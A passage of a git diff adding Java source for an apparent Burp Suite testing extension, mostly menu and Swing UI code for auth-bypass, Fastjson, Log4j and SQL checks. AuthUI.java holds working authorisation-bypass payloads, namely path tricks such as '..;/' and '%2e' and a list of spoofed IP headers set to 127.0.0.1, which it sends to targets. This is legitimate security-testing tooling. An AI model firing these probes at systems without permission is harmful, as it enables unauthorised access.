+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.executeUpdate();
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+
+ public static void saveSql(SqlBean sqlBean) {
+ String sql = "insert into sqli(sql) values(?)";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.setString(1, sqlBean.getSql());
+ ps.executeUpdate();
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+}
diff --git a/src/main/java/burp/menu/AuthMenu.java b/src/main/java/burp/menu/AuthMenu.java
new file mode 100644
index 0000000..ce414ba
--- /dev/null
+++ b/src/main/java/burp/menu/AuthMenu.java
@@ -0,0 +1,25 @@
+package burp.menu;
+
+import burp.IHttpRequestResponse;
+import burp.ui.AuthUI;
+
+import javax.swing.*;
+import java.awt.event.ActionListener;
+
+public class AuthMenu extends JMenuItem {
+ public AuthMenu(IHttpRequestResponse[] requestResponses) {
+ this.setText("^_^ AuthBypass Check");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ AuthUI.Check(requestResponses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ }
+}
diff --git a/src/main/java/burp/menu/Base64DataMenu.java b/src/main/java/burp/menu/Base64DataMenu.java
new file mode 100644
index 0000000..70e9c97
--- /dev/null
+++ b/src/main/java/burp/menu/Base64DataMenu.java
@@ -0,0 +1,35 @@
+package burp.menu;
+
+import burp.IHttpRequestResponse;
+
+import javax.swing.*;
+import java.awt.*;
+import java.awt.datatransfer.Clipboard;
+import java.awt.datatransfer.StringSelection;
+
+public class Base64DataMenu extends JMenuItem {
+ public Base64DataMenu(IHttpRequestResponse[] requestResponses) {
+ this.setText("^_^ Insert Base64 Data");
+ this.addActionListener(new java.awt.event.ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ CheckBase64Data(requestResponses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ }
+
+ private static void CheckBase64Data(IHttpRequestResponse[] requestResponses) {
+ StringSelection stringSelection = null;
+ stringSelection = new StringSelection("");
+ Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
+ clipboard.setContents(stringSelection, null);
+ // 弹窗
+ JOptionPane.showMessageDialog(null, "请在需要的位置粘贴", "Tips", JOptionPane.INFORMATION_MESSAGE);
+ }
+}
diff --git a/src/main/java/burp/menu/FastjsonMenu.java b/src/main/java/burp/menu/FastjsonMenu.java
new file mode 100644
index 0000000..2ecf714
--- /dev/null
+++ b/src/main/java/burp/menu/FastjsonMenu.java
@@ -0,0 +1,77 @@
+package burp.menu;
+
+import burp.IHttpRequestResponse;
+import burp.ui.FastjsonUI;
+
+import javax.swing.*;
+import java.awt.event.ActionListener;
+
+public class FastjsonMenu extends JMenuItem {
+ public JMenuItem FastjsonDnslogMenu(IHttpRequestResponse[] responses) {
+ this.setText("^_^ FastJson Dnslog Check");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ new FastjsonUI().CheckDnslog(responses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ return this;
+ }
+
+ public JMenuItem FastjsonEchoMenu(IHttpRequestResponse[] responses) {
+ this.setText("^_^ FastJson Echo Check");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ new FastjsonUI().CheckEchoVul(responses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ return this;
+ }
+
+ public JMenuItem FastjsonJNDIMenu(IHttpRequestResponse[] responses) {
+ this.setText("^_^ FastJson JNDI Check");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ new FastjsonUI().CheckJNDIVul(responses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ return this;
+ }
+
+ public JMenuItem FastjsonVersionMenu(IHttpRequestResponse[] responses) {
+ this.setText("^_^ FastJson Version Check");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ new FastjsonUI().CheckVersion(responses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ return this;
+ }
+}
diff --git a/src/main/java/burp/menu/Log4jMenu.java b/src/main/java/burp/menu/Log4jMenu.java
new file mode 100644
index 0000000..f0475d6
--- /dev/null
+++ b/src/main/java/burp/menu/Log4jMenu.java
@@ -0,0 +1,25 @@
+package burp.menu;
+
+import burp.IHttpRequestResponse;
+import burp.ui.Log4jUI;
+
+import javax.swing.*;
+import java.awt.event.ActionListener;
+
+public class Log4jMenu extends JMenuItem {
+ public Log4jMenu(IHttpRequestResponse[] requestResponses) {
+ this.setText("^_^ Log4j Check");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ Log4jUI.Check(requestResponses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ }
+}
diff --git a/src/main/java/burp/menu/NucleiMenu.java b/src/main/java/burp/menu/NucleiMenu.java
new file mode 100644
index 0000000..36ef371
--- /dev/null
+++ b/src/main/java/burp/menu/NucleiMenu.java
@@ -0,0 +1,25 @@
+package burp.menu;
+
+import burp.IHttpRequestResponse;
+import burp.utils.Nuclei;
+
+import javax.swing.*;
+import java.awt.event.ActionListener;
+
+public class NucleiMenu extends JMenuItem {
+ public NucleiMenu(IHttpRequestResponse[] requestResponses) {
+ this.setText("^_^ Nuclei Template");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ Nuclei.Generate(requestResponses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ }
+}
diff --git a/src/main/java/burp/menu/PermMenu.java b/src/main/java/burp/menu/PermMenu.java
new file mode 100644
index 0000000..f09d03d
--- /dev/null
+++ b/src/main/java/burp/menu/PermMenu.java
@@ -0,0 +1,25 @@
+package burp.menu;
+
+import burp.IHttpRequestResponse;
+import burp.ui.PermUI;
+
+import javax.swing.*;
+import java.awt.event.ActionListener;
+
+public class PermMenu extends JMenuItem {
+ public PermMenu(IHttpRequestResponse[] requestResponses) {
+ this.setText("^_^ Perm Check");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ PermUI.Check(requestResponses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ }
+}
diff --git a/src/main/java/burp/menu/SqlMenu.java b/src/main/java/burp/menu/SqlMenu.java
new file mode 100644
index 0000000..078ee38
--- /dev/null
+++ b/src/main/java/burp/menu/SqlMenu.java
@@ -0,0 +1,25 @@
+package burp.menu;
+
+import burp.IHttpRequestResponse;
+import burp.ui.SqlUI;
+
+import javax.swing.*;
+import java.awt.event.ActionListener;
+
+public class SqlMenu extends JMenuItem {
+ public SqlMenu(IHttpRequestResponse[] requestResponses) {
+ this.setText("^_^ Sql Check");
+ this.addActionListener(new ActionListener() {
+ public void actionPerformed(java.awt.event.ActionEvent evt) {
+ Thread thread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ SqlUI.Check(requestResponses);
+ }
+ });
+ thread.start();
+
+ }
+ });
+ }
+}
diff --git a/src/main/java/burp/ui/AuthUI.java b/src/main/java/burp/ui/AuthUI.java
new file mode 100644
index 0000000..fa45f72
--- /dev/null
+++ b/src/main/java/burp/ui/AuthUI.java
@@ -0,0 +1,431 @@
+package burp.ui;
+
+import burp.*;
+import burp.bean.AuthBean;
+import burp.utils.Utils;
+import com.intellij.uiDesigner.core.GridConstraints;
+import com.intellij.uiDesigner.core.GridLayoutManager;
+import com.intellij.uiDesigner.core.Spacer;
+import org.springframework.util.DigestUtils;
+
+import javax.swing.*;
+import javax.swing.table.AbstractTableModel;
+import javax.swing.table.TableModel;
+import java.awt.*;
+import java.awt.event.ActionEvent;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Objects;
+
+import static burp.utils.Utils.getSuffix;
+
+public class AuthUI implements UIHandler, IMessageEditorController {
+ private static final List log = new ArrayList<>();
+ private static JTable authTable;
+ // 去重存放的列表
+ private static final List parameterList = new ArrayList<>();
+ private static final List urlHashList = new ArrayList<>();
+ private JPanel panel;
+ private JPanel authPanel;
+ private JButton authRefershButton;
+ private JButton authClearButton;
+ private JSplitPane authSPlitePane;
+ private JTabbedPane authtabbedPane1;
+ private JTabbedPane authtabbedPane2;
+ private JScrollPane authJScrollPane;
+ private IHttpRequestResponse currentlyDisplayedItem;
+ private IMessageEditor HRequestTextEditor;
+ private IMessageEditor HResponseTextEditor;
+
+ // 检测方法
+ public static void Check(IHttpRequestResponse[] requestResponses) {
+ // 检查是否存在权限绕过
+ IHttpRequestResponse baseRequestResponse = requestResponses[0];
+ IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
+ String method = analyzeRequest.getMethod();
+ String path = analyzeRequest.getUrl().getPath();
+ String request = Utils.helpers.bytesToString(baseRequestResponse.getRequest());
+ String url = analyzeRequest.getUrl().toString();
+
+ // url 中为静态资源,直接返回
+ List suffix = getSuffix();
+ for (String s : suffix) {
+ if (url.endsWith(s)) {
+ return;
+ }
+ }
+
+ // 对url进行hash去重
+ List paraLists = analyzeRequest.getParameters();
+ for (IParameter paraList : paraLists) {
+ String paraName = paraList.getName();
+ parameterList.add(paraName);
+ }
+ if (!checkUrlHash(method + url + parameterList.toString())) {
+ return;
+ }
+
+ List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
+ String urlWithoutQuery = "";
+ try {
+ URL url1 = new URL(url);
+ String protocol = url1.getProtocol(); // 获取协议部分,这里是 http
+ String host = url1.getHost(); // 获取主机名部分,这里是 192.168.11.3
+ int port = url1.getPort(); // 获取端口号部分,这里是 7001
+ urlWithoutQuery = protocol + "://" + host + ":" + port;
+ } catch (MalformedURLException e) {
+ throw new RuntimeException(e);
+ }
+ List authRequests = new ArrayList<>();
+ authRequests.addAll(prefix(method, path));
+ authRequests.addAll(suffix(method, path));
+
+ if (Objects.equals(method, "GET") || Objects.equals(method, "POST")) {
+ for (AuthBean value : authRequests) {
+ if (Objects.equals(value.getMethod(), "GET")) {
+ String new_request = request.replaceFirst(path, value.getPath());
+ IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request));
+ String requrl = urlWithoutQuery + value.getPath();
+ String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());
+ String length = String.valueOf(response.getResponse().length);
+ add(method, requrl, statusCode, length, response);
+ } else if (Objects.equals(value.getMethod(), "POST")) {
+ String new_request = request.replaceFirst(path, value.getPath());
+ IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request));
+ String requrl = urlWithoutQuery + value.getPath();
+ String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());
+ String length = String.valueOf(response.getResponse().length);
+ add(method, requrl, statusCode, length, response);
+ }
+ }
+ // 增加header payload 测试
+ List testHeaders = headers(method, url);
+ byte[] byte_Request = baseRequestResponse.getRequest();
+ int bodyOffset = analyzeRequest.getBodyOffset();
+ int len = byte_Request.length;
+ byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len);
+ changeHeaders(headers, body, method, url, baseRequestResponse);
+ for (AuthBean header : testHeaders) {
+ headers.add(header.getHeaders());
+ }
+ byte[] message = Utils.helpers.buildHttpMessage(headers, body);
+ IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
+ // 发送请求
+ String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());
+ String length = String.valueOf(response.getResponse().length);
+
+ add(method, url, statusCode, length, response);
+ }
+ }
+
+ // 对url进行hash去重
+ public static boolean checkUrlHash(String url) {
+ parameterList.clear();
+ String md5 = DigestUtils.md5DigestAsHex(url.getBytes());
+ if (urlHashList.contains(md5)) {
+ return false;
+ } else {
+ urlHashList.add(md5);
+ return true;
+ }
+ }
+
+ // 添加后缀
+ public static List suffix(String method, String path) {
+ if (path.startsWith("//")) {
+ path = "/" + path.substring(2).replaceAll("/+", "/");
+ }
+ List authRequests = new ArrayList<>();
+ if (path.endsWith("/")) {
+ path = path.substring(0, path.length() - 1);
+ List payloads = Arrays.asList(path + "%2e/", path + "/.", "./" + path + "/./", path + "%20/",
+ "/%20" + path + "%20/", path + "..;/", path + "?", path + "??", "/" + path + "//",
+ path + "/", path + "/.randomstring");
+ for (String payload : payloads) {
+ if ("GET".equals(method)) {
+ authRequests.add(new AuthBean("GET", payload, ""));
+ } else if ("POST".equals(method)) {
+ authRequests.add(new AuthBean("POST", payload, ""));
+ }
+ }
+ } else {
+ List payloads = Arrays.asList(path + "/%2e", path + "/%20", path + "%0d%0a", path + ".json", path + "/.randomstring");
+
+ for (String payload : payloads) {
+ if ("GET".equals(method)) {
+ authRequests.add(new AuthBean("GET", payload, ""));
+ } else if ("POST".equals(method)) {
+ authRequests.add(new AuthBean("POST", payload, ""));
+ }
+ }
+ }
+ return authRequests;
+ }
+
+ // 添加前缀
+ public static List prefix(String method, String path) {
+ if (path.startsWith("//")) {
+ path = "/" + path.substring(2).replaceAll("/+", "/");
+ }
+ List authRequests = new ArrayList<>();
+ String[] prefix = {";/", ".;/", "images/..;/", ";a/", "%23/../"};
+ for (String s : prefix) {
+ // 将路径按 / 分割为多个部分
+ String[] pathParts = path.split("/");
+ for (int i = 1; i < pathParts.length; i++) {
+ // 输出从第二个部分到最后一个部分
+ String[] subPathParts = Arrays.copyOfRange(pathParts, i, pathParts.length);
+ String[] prePathParts = Arrays.copyOfRange(pathParts, 1, i);
+ if (prePathParts.length > 0) {
+ if ("GET".equals(method)) {
+ authRequests.add(new AuthBean("GET", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), ""));
+ } else if ("POST".equals(method)) {
+ authRequests.add(new AuthBean("POST", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), ""));
+ }
+ } else {
+ if ("GET".equals(method)) {
+ authRequests.add(new AuthBean("GET", "/" + s + String.join("/", subPathParts), ""));
+ } else if ("POST".equals(method)) {
+ authRequests.add(new AuthBean("POST", "/" + s + String.join("/", subPathParts), ""));
+ }
+ }
+ }
+ }
+
+ return authRequests;
+ }
+
+ // 添加头部
+ public static List headers(String method, String url) {
+ List authRequests = new ArrayList<>();
+ List payloads = Arrays.asList("Access-Control-Allow-Origin: 127.0.0.1", "Base-Url: " + url, "CF-Connecting-IP: 127.0.0.1",
+ "CF-Connecting_IP: 127.0.0.1", "Client-IP: 127.0.0.1", "Cluster-Client-IP: 127.0.0.1", "Destination: 127.0.0.1",
+ "Forwarded-For-Ip: 127.0.0.1", "Forwarded-For: 127.0.0.1", "Forwarded-Host: 127.0.0.1", "Forwarded: 127.0.0.1",
+ "Http-Url: " + url, "Origin: 127.0.0.1", "Profile: 127.0.0.1", "Proxy-Host: 127.0.0.1",
+ "Proxy-Url: " + url, "Proxy: 127.0.0.1", "Real-Ip: 127.0.0.1", "Redirect: 127.0.0.1", "Referer: " + url,
+ "Request-Uri: 127.0.0.1", "True-Client-IP: 127.0.0.1",
+ "Uri: " + url, "Url: " + url, "X-Arbitrary: 127.0.0.1", "X-Client-IP: 127.0.0.1",
+ "X-Custom-IP-Authorization: 127.0.0.1", "X-Forward-For: 127.0.0.1",
+ "X-Forward: 127.0.0.1", "X-Forwarded-By: 127.0.0.1",
+ "X-Forwarded-For-Original: 127.0.0.1", "X-Forwarded-For: 127.0.0.1",
+ "X-Forwarded-Host: 127.0.0.1", "X-Forwarded-Proto: 127.0.0.1",
+ "X-Forwarded-Server: 127.0.0.1", "X-Forwarded: 127.0.0.1",
+ "X-Forwarder-For: 127.0.0.1", "X-Host: 127.0.0.1",
+ "X-HTTP-DestinationURL: " + url, "X-HTTP-Host-Override: 127.0.0.1",
+ "X-Original-Remote-Addr: 127.0.0.1", "X-Original-URL: " + url, "X-Originally-Forwarded-For: 127.0.0.1",
+ "X-Originating-IP: 127.0.0.1", "X-Proxy-Url: " + url, "X-ProxyUser-Ip: 127.0.0.1", "X-Real-IP: 127.0.0.1",
+ "X-Real-Ip: 127.0.0.1", "X-Referrer: 127.0.0.1", "X-Remote-Addr: 127.0.0.1", "X-Remote-IP: 127.0.0.1",
+ "X-Rewrite-URL: " + url, "X-True-IP: 127.0.0.1", "X-WAP-Profile: 127.0.0.1");
+
+ for (String payload : payloads) {
+ if ("GET".equals(method)) {
+ authRequests.add(new AuthBean("GET", "", payload));
+ } else if ("POST".equals(method)) {
+ authRequests.add(new AuthBean("POST", "", payload));
+ }
+ }
+ return authRequests;
+ }
+
+ // 添加accept
+ // https://mp.weixin.qq.com/s/6YMDu6FTLa_9s6_mewrp0A
+ public static void changeHeaders(List headers, byte[] body, String method, String url, IHttpRequestResponse baseRequestResponse) {
+ // 判断headers立马是否有Accept,如果有则删除
+ headers.removeIf(header -> header.startsWith("Accept:"));
+ headers.add("Accept: application/json, text/javascript, /; q=0.01");
+ byte[] message = Utils.helpers.buildHttpMessage(headers, body);
+ IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
+ // 发送请求
+ String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());
+ String length = String.valueOf(response.getResponse().length);
+ add(method, url, statusCode, length, response);
+ }
+
+ private static void add(String method, String url, String statuscode, String length, IHttpRequestResponse baseRequestResponse) {
+ synchronized (log) {
+ int id = log.size();
+ log.add(new LogEntry(id, method, url, statuscode, length, baseRequestResponse));
+ authTable.updateUI();
+ }
+ }
+
+ private void setupUI() {
+
+ panel = new JPanel();
+ panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
+ authPanel = new JPanel();
+ authPanel.setLayout(new GridLayoutManager(2, 4, new Insets(0, 0, 0, 0), -1, -1));
+ panel.add(authPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
+ authRefershButton = new JButton();
+ authRefershButton.setText("刷新");
+ authPanel.add(authRefershButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ final Spacer spacer1 = new Spacer();
+ authPanel.add(spacer1, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false));
+ authClearButton = new JButton();
+ authClearButton.setText("清空数据");
+ authPanel.add(authClearButton, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ final JSplitPane splitPane1 = new JSplitPane();
+ splitPane1.setDividerSize(2);
+ splitPane1.setOrientation(JSplitPane.VERTICAL_SPLIT);
+ authPanel.add(splitPane1, new GridConstraints(1, 0, 1, 4, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, new Dimension(200, 200), null, 0, false));
+ authSPlitePane = new JSplitPane();
+ authSPlitePane.setDividerSize(2);
+ authSPlitePane.setResizeWeight(0.5);
+ splitPane1.setRightComponent(authSPlitePane);
+ authtabbedPane1 = new JTabbedPane();
+ authSPlitePane.setLeftComponent(authtabbedPane1);
+ HRequestTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, true);
+ HResponseTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, false);
+ authtabbedPane1.addTab("request", HRequestTextEditor.getComponent());
+ authtabbedPane2 = new JTabbedPane();
+ authSPlitePane.setRightComponent(authtabbedPane2);
+ authtabbedPane2.addTab("response", HResponseTextEditor.getComponent());
+ authJScrollPane = new JScrollPane();
+ splitPane1.setLeftComponent(authJScrollPane);
+ AuthModel authModel = new AuthModel();
+ authTable = new URLTable(authModel);
+ authJScrollPane.setViewportView(authTable);
+ }
+
+ private void setupData() {
+ // 刷新按钮
+ authRefershButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ authTable.updateUI();
+ }
+ });
+ // 清空按钮
+ authClearButton.addActionListener(new AbstractAction() {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ log.clear();
+ HRequestTextEditor.setMessage(new byte[0], true);
+ HResponseTextEditor.setMessage(new byte[0], false);
+ authTable.updateUI();
+ }
+ });
+
+ }
+
+ @Override
+ public IHttpService getHttpService() {
+ return currentlyDisplayedItem.getHttpService();
+ }
+
+ @Override
+ public byte[] getRequest() {
+ return currentlyDisplayedItem.getRequest();
+ }
+
+ @Override
+ public byte[] getResponse() {
+ return currentlyDisplayedItem.getResponse();
+ }
+
+ @Override
+ public void init() {
+ setupUI();
+ setupData();
+ }
+
+ @Override
+ public JPanel getPanel(IBurpExtenderCallbacks callbacks) {
+ return panel;
+ }
+
+ @Override
+ public String getTabName() {
+ return "权限绕过";
+ }
+
+ private static class AuthModel extends AbstractTableModel {
+
+ @Override
+ public int getRowCount() {
+ return log.size();
+ }
+
+ @Override
+ public int getColumnCount() {
+ return 5;
+ }
+
+ @Override
+ public Object getValueAt(int rowIndex, int columnIndex) {
+ switch (columnIndex) {
+ case 0:
+ return log.get(rowIndex).id;
+ case 1:
+ return log.get(rowIndex).method;
+ case 2:
+ return log.get(rowIndex).url;
+ case 3:
+ return log.get(rowIndex).status;
+ case 4:
+ return log.get(rowIndex).length;
+ default:
+ return null;
+ }
+ }
+
+ @Override
+ public String getColumnName(int column) {
+ switch (column) {
+ case 0:
+ return "id";
+ case 1:
+ return "method";
+ case 2:
+ return "url";
+ case 3:
+ return "status";
+ case 4:
+ return "length";
+ default:
+ return null;
+ }
+ }
+ }
+
+ private static class LogEntry {
+ private final int id;
+ private final String method;
+ private final String url;
+ private final String status;
+ private final String length;
+ private final IHttpRequestResponse requestResponse;
+
+
+ public LogEntry(int id, String method, String url, String status, String length, IHttpRequestResponse requestResponse) {
+ this.id = id;
+ this.method = method;
+ this.url = url;
+ this.status = status;
+ this.length = length;
+ this.requestResponse = requestResponse;
+ }
+ }
+
+ private class URLTable extends JTable {
+ public URLTable(TableModel dm) {
+ super(dm);
+ }
+
+ @Override
+ public void changeSelection(int row, int col, boolean toggle, boolean extend) {
+ LogEntry logEntry = log.get(row);
+ HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true);
+ if (logEntry.requestResponse.getResponse() == null) {
+ HResponseTextEditor.setMessage(new byte[0], false);
+ } else {
+ HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false);
+ }
+ currentlyDisplayedItem = logEntry.requestResponse;
+ super.changeSelection(row, col, toggle, extend);
+ }
+ }
+}
diff --git a/src/main/java/burp/ui/ConfigUI.java b/src/main/java/burp/ui/ConfigUI.java
new file mode 100644
index 0000000..6c07f31
--- /dev/null
+++ b/src/main/java/burp/ui/ConfigUI.java
@@ -0,0 +1,275 @@
+package burp.ui;
+
+import burp.IBurpExtenderCallbacks;
+import burp.bean.ConfigBean;
+import com.intellij.uiDesigner.core.GridConstraints;
+import com.intellij.uiDesigner.core.GridLayoutManager;
+import com.intellij.uiDesigner.core.Spacer;
+
+import javax.swing.*;
+import javax.swing.table.AbstractTableModel;
+import java.awt.*;
+import java.awt.event.ActionEvent;
+import java.util.ArrayList;
+import java.util.List;
+
+import static burp.dao.ConfigDao.*;
+
+public class ConfigUI implements UIHandler {
+ private static final List data = new ArrayList<>();
+ public AbstractTableModel dataModel = new ConfigModel();
+ private JPanel panel;
+ private JPanel configPanel;
+ private JLabel dnslogLabel;
+ private JTextField dnslogTextField;
+ private JLabel ipLabel;
+ private JTextField ipTextField;
+ private JLabel toolNameLabel;
+ private JTextField toolNameTextField;
+ private JButton toolButton;
+ private JTextField toolArgvTextField;
+ private JButton ipButton;
+ private JButton dnslogButton;
+ private JLabel toolArgvLabel;
+ private JButton refershButton;
+ private JButton deleteSelectButton;
+ private JButton clearHostButton;
+ private JTable configTable;
+ private JScrollPane configPanelDownJscrollPanel;
+ private JPanel configPanelTop;
+ private JPanel configPanelDown;
+
+ private void setupUI() {
+ panel = new JPanel();
+ panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
+ configPanel = new JPanel();
+ configPanel.setLayout(new BorderLayout(0, 0));
+ panel.add(configPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
+ configPanelTop = new JPanel();
+ configPanelTop.setLayout(new GridLayoutManager(4, 8, new Insets(0, 0, 0, 0), -1, -1));
+ configPanel.add(configPanelTop, BorderLayout.NORTH);
+ dnslogLabel = new JLabel();
+ dnslogLabel.setText("dnslog");
+ configPanelTop.add(dnslogLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ final Spacer spacer1 = new Spacer();
+ configPanelTop.add(spacer1, new GridConstraints(0, 7, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false));
+ dnslogTextField = new JTextField();
+ configPanelTop.add(dnslogTextField, new GridConstraints(0, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
+ ipLabel = new JLabel();
+ ipLabel.setText("ip");
+ configPanelTop.add(ipLabel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ ipTextField = new JTextField();
+ configPanelTop.add(ipTextField, new GridConstraints(1, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
+ toolNameLabel = new JLabel();
+ toolNameLabel.setText("工具名称");
+ configPanelTop.add(toolNameLabel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ toolNameTextField = new JTextField();
+ configPanelTop.add(toolNameTextField, new GridConstraints(2, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
+ toolButton = new JButton();
+ toolButton.setText("保存");
+ configPanelTop.add(toolButton, new GridConstraints(2, 6, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
+ toolArgvTextField = new JTextField();
+ configPanelTop.add(toolArgvTextField, new GridConstraints(2, 5, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
+ ipButton = new JButton();
+ ipButton.setText("保存");
